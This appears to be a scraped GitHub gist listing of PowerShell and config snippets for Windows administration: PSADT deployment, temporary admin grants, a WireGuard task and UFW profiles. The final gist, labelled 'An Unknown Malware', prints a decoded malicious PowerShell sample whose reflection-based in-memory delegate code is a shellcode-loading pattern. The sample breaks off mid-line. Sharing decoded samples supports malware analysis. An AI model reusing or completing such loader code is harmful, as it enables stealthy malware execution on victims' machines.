Skip to content

Instantly share code, notes, and snippets.

# Site configuration
$SiteCode = "TES" # Site code
$ProviderMachineName = "Primary.domain.LOCAL" # SMS Provider machine name
# Customizations
$initParams = @{}
#$initParams.Add("Verbose", $true) # Uncomment this line to enable verbose logging
#$initParams.Add("ErrorAction", "Stop") # Uncomment this line to stop the script on any errors
#archive_dir = "C:\Outlook Archives"
$network_share = "\\some\server"
<#
Gets a list of the last 20 logins/outs. Then counts the actions by each user. Returns the user with the highiest count.
Also purge domain\ from username and any spaces
#>
function get-freq-user
{
$newest = 20
@NathanTheGr8
NathanTheGr8 / Deploy-Application.ps1
Created August 12, 2019 19:02
PSADT Google Chrome
<#
.SYNOPSIS
This script performs the installation or uninstallation of an application(s).
# LICENSE #
PowerShell App Deployment Toolkit - Provides a set of functions to perform common application deployment tasks on Windows.
Copyright (C) 2017 - Sean Lillis, Dan Cunningham, Muhammad Mashwani, Aman Motazedian.
This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
.DESCRIPTION
The script is provided as a template to perform an install or uninstall of an applica
Param(
[Parameter(Mandatory = $True)]
[string[]]$UserIDs,
[Parameter(Mandatory = $True)]
[int]$Duration
)
foreach ($UserID in $UserIDs) {
$GrantAdminTo = "Domain\" + $UserID
@NathanTheGr8
NathanTheGr8 / Example_App.exe.manifest
Created June 26, 2018 16:07 — forked from leeramsay/PSADT-Cheatsheet.ps1
PSADT snippits/cheatsheet
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0"
processorArchitecture="X86"
name="Example_App.exe"
type="win32"/>
<description>elevate execution level</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges>
$argument = '/installtunnelservice "C:\Program Files\WireGuard\Data\Configurations\wg0.conf"'
$action = New-ScheduledTaskAction -Execute 'C:\Program Files\WireGuard\wireguard.exe' -Argument $argument
$principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$trigger = New-ScheduledTaskTrigger -AtStartup
$task = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger
Register-ScheduledTask "WireGuard" -InputObject $task -Force -TaskPath "Custom"
@NathanTheGr8
NathanTheGr8 / ufw home media server app profile.md
Last active January 23, 2021 10:36 — forked from andrey-str/ufw plexmediaserver app profile.md
Plex Media Server, Sonarr, Radarr, Deluge, NzbGet UFW rule
[plexmediaserver]
title=Plex Media Server
description=The Plex Media Server is smart software that makes playing Movies, TV Shows and other media on your computer simple
ports=32400/tcp|1900/udp|32469/udp|5353/udp

[sonarr]
title=Sonarr
description=Sonarr is a PVR for Usenet and BitTorrent users
ports=8989/tcp|8989/udp
@NathanTheGr8
NathanTheGr8 / Get-DellModelReleaseDates.ps1
Created November 9, 2020 05:22
This script will download and extract the latest Dell Driver Cab to use it to determine the release dates of all dell models
<#
.SYNOPSIS
Export CSV of Dell Models and their release dates
.DESCRIPTION
This script will download and extract the latest Dell Driver Cab to use it to determine the release dates of all dell models
.NOTES
@NathanTheGr8
NathanTheGr8 / Get-PSADTAppVersion.ps1
Last active July 24, 2020 13:54
Get-PSADTAppVersion
function Get-PSADTAppVersion {
<#
.SYNOPSIS
Gets the $appversion varible for a given PSADT package
.DESCRIPTION
Gets the $appversion varible for a given PSADT package
Queries the Deploy-Application.ps1 file for "appversion"
Takes the first string returned. I don't care about other occerences in the file
Converts it to a string
@NathanTheGr8
NathanTheGr8 / decoded_original.ps1
Created August 6, 2018 15:01
An Unknown Malware
$SEf8caWj = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Shell";$lZ7VgLztH = "{4FF23B38-C5A1-5CBE-F25D458E1F8C5642}";function ogbehJFrvi{Param([OutputType([Type])][Parameter( Position = 0)][Type[]]$jbvI6kAQ = (New-Object Type[](0)),[Parameter( Position = 1 )][Type]$TnlpqF = [Void])$SDaRf4 = [AppDomain]::CurrentDomain;$gV2cj6vD = New-Object System.Reflection.AssemblyName('ReflectedDelegate');$koQPMj5 = $SDaRf4.DefineDynamicAssembly($gV2cj6vD, [System.Reflection.Emit.AssemblyBuilderAccess]::Run);$mQQYfW = $koQPMj5.DefineDynamicModule('InMemoryModule', $false);$OSepm3U = $mQQYfW.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);$GetNMD0W = $OSepm3U.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jbvI6kAQ);$GetNMD0W.SetImplementationFlags('Runtime, Managed');$KBBPUUP = $OSepm3U.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $TnlpqF, $jbvI6kAQ);$KBBPUUP.SetImplementationFlags('Runtime,